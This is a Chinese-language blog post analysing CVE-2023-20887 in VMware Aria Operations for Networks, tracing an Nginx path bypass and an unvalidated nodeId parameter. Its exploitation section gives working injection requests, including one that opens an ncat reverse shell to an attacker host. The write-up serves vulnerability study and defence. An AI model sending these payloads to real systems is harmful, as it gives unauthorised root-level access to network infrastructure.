远程代码执行漏洞分析

VMware Aria Operations for Networks 是一款网络监控与管理工具,用于构建和管理优化安全网络基础架构。最近,研究人员发现了 VMware Aria Operations for Networks(以下简称 Aria Operations)中存在命令注入漏洞,影响该软件 6.2 至 6.10 版本。服务器配置中的漏洞以及不正确的输入处理导致了该漏洞,未经身份验证的用户以及有权访问 Aria Operations 的恶意攻击者都可以利用该漏洞以管理员权限实现远程代码执行。该漏洞 CVE 编号已经被分配为 CVE-2023-20887,其 CVSS 3.1 得分为 9.8 分。本文以 6.9 版本的 Aria Operations 为例,详细介绍 CVE-2023-20887 的漏洞利用细节。

技术细节

Aria Operations 使用 Java 语言开发,提供多云部署的端到端网络可见性管理人员会使用该软件监控必要的网络管理操作。Aria Operations 所有网络管理功能都可以通过 443 端口上的 Web 界面来操作,Nginx 不仅用作 Web 服务器,也当作反向代理配置各种转发规则。此外,Aria Operations 还使用 Apache Thrift 框架来定义 RPC 接口来实现这些端点的功能。

在 Aria Operations 存在漏洞的版本中,Nginx 中定义的规则存在错误配置导致了未授权访问。此外,还有个 API 函数使用管理员权限接受用户输入而不对其进行处理。将这两个漏洞结合起来,攻击者可以发送特定的请求来实现远程代码执行。

定位漏洞

攻击者利用两个漏洞:Nginx 的错误配置以及由于用户输入校验不当导致的命令注入,接下来详细介绍二者。

Nginx 配置错误

Aria Operations 使用 Nginx 配置的 Apache Thrift RPC 服务的反向代理。查看 /etc/nginx/sites-enabled 中的 Nginx 配置信息,可以看到对 /saasresttosaasservlet 的访问会被限制。也就是说,Nginx 反向代理只接受来自 localhost 的网络流量,然后将该流量重定向到本地 9090 端口上运行的服务。

1695721036_6512a64caebd413f032e4.png!small?1695721037240

处理请求的配置信息

如下所示,攻击者找到了方法绕过这个限制。下图显示 Nginx 接受对前缀为 /saas 的任意请求,覆写此处即可将其重定向到本地端口 9090。

1695721049_6512a659f0e6950813cc4.png!small?1695721050548

处理请求的配置信息

这意味着攻击者对 /saas./resttosaasservlet 的请求将会被覆写并允许在本地 9090 端口访问 /./resttosaasservlet。

但在此之前,首先要确认无法从 localhost 以外的 IP 地址直接访问 /saasresttosaasservlet。下图显示,尝试访问该地址时会收到 403 Forbidden 的响应信息。

1695721061_6512a6650bad124f58edc.png!small?1695721061814

请求结果

当然,这是预料之中的。如下所示,再次从 localhost 以外的 IP 地址针对 /saas./resttosaasservlet 发出请求,已经能够访问。图中的失败显示 500 Internal Server Error 是因为相应的 Servlet 无法处理,但实际上并不是完全没有办法了。

1695721080_6512a678daf91f08ecb1d.png!small?1695721082703

发起请求

用户输入验证不当

既然针对 /saas./resttosaasservlet 的请求会被重定向到本地 9090 端口,可以查看本地 9090 端口上运行什么服务。

1695721104_6512a6900683338695eaa.png!small?1695721104621

netstat 结果

如上所示,进程 ID 为 8480 的 Java 进程正监听本地 9090 端口。通过 ps 命令,可以查看该进程的详细信息。如下所示,可以发现进程是从 /home/ubuntu/build-target/saasservice/ 处执行 saasservice-0.001-SNAPSHOT.jar 的。

1695721124_6512a6a42858ea2087ec1.png!small?1695721124685

本地 9090 端口监听进程

如下所示,反编译该 Jar 文件后,就可以发现 /resttosaasservlet 的响应由 Rest-saas 通过 ManagementEndpointServlet() 函数进行处理。

1695721138_6512a6b232fd9a692a914.png!small?1695721138859

rest-saas 实现

如下所示,在 ManagementEndpointServlet() 中会调用 RestToSaasCommunication.Processor(),这也是在 RestToSaasCommunication 类中进行定义的。

1695721152_6512a6c017f975c4a0776.png!small?1695721152890

ManagementEndpointServlet() 函数

RestToSaasCommunication 类具有多个函数。如下所示,每个进程映射到 RestToSaasCommunication 类支持的函数,主要查看 createSupportBundle() 的内部实现。

1695721171_6512a6d3e1f946e254996.png!small?1695721173022

RestToSaasCommunication 类

如下所示,在 createSupportBundle() 中包含四个参数:customerId、nodeId、requestId 和 evictionRequestIds。

1695721185_6512a6e17a84779fee32a.png!small?1695721186751

createSupportBundle() 函数

用户传递的四个参数中,可以看到参数 nodeId 的值被传递给了 evictPublishedSupportBundles()。

1695721198_6512a6ee3332b8516f88d.png!small?1695721199038

evictPublishedSupportBundles() 函数

evictPublishedSupportBundles() 在将参数传递给 Shell 脚本前,不会对其进行校验。将特定的 Payload 作为 nodeId 参数传递,就可以实现以管理员权限在 Shell 中执行任意命令。

漏洞利用

研究人员测试的是存在漏洞的 Aria Operations 6.9.0 版本。

1695721219_6512a703a48574d076777.png!small?1695721220415

软件版本信息

点击 Support 按钮如下所示:

1695721232_6512a710d4c8f047b0e29.png!small?1695721233644

点击界面按钮

如下所示,从 Wireshark 中可以看出,点击会通过 createSupportBundle 请求调用 /resttosaasservlet。

1695721309_6512a75df32908eee77f7.png!small?1695721311057

捕获网络请求

对应会创建一个 tar 文件:

1695721323_6512a76ba6a0163588617.png!small?1695721324166

创建压缩文件

createSupportBundle 请求如下所示:

[1,"createSupportBundle",1,0,{"1":{"str":"<string>"},"2":{"str":"<string>"},"3":{"str":"<string>"},"4":{"lst":<list>}}]

将前述内容结合在一起。以 creatSupportBundle 的格式为例,将前文提到的错误配置与命令注入结合起来。将以下请求发送到 /saas./resttosaasservlet,尝试在 /tmp 目录下创建一个 hacked.txt 文件。

[1,"createSupportBundle",1,0,{"1":{"str":"1111"},"2":{"str":"`touch /tmp/hacked.txt`"},"3":{"str":"value3"},"4":{"lst":["str",2,"Random","Random"]}}]

执行后如下所示:

1695721335_6512a777866e3b41c4ee0.png!small?1695721336556

创建文件请求

响应为 200 OK,可以确认该文件已经在 /tmp 目录中创建:

1695721346_6512a78217e25140289e8.png!small?1695721346492

创建文件

该文件的创建确认了攻击者可以通过该漏洞进行远程代码执行。

获取反向 Shell

首先使用 netcat 监听本地计算机的 3333 端口。

1695721359_6512a78fa1f8b3185efe6.png!small?1695721360038

netcat 监听本地端口

使用 ncat 192.168.1.49 3333 -e /bin/sh 并发送以下请求:

[1,"createSupportBundle",1,0,{"1":{"str":"1111":{"str":"`ncat 192.168.1.49 3333 –e /bin/sh`"},"3":{"str":"value3"},"4":{"lst":["str",2,"AAAA","BBBB"]}}]

执行后如下所示:

1695721375_6512a79f244c30aafb700.png!small?1695721375776

发起请求

属于管理员用户组的 ubuntu 用户在攻击者计算机的 3333 端口上接入了反向 Shell。

1695721386_6512a7aaa9f8da2ec17e9.png!small?1695721387782

获取反向Shell

通过 sudo -l 命令,可以看到 ubuntu 用户没有任何限制,可以执行所有 root 权限的操作。当然,用户也可以使用 sudo -i 获取 root 访问权限。

参考来源

Juniper

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值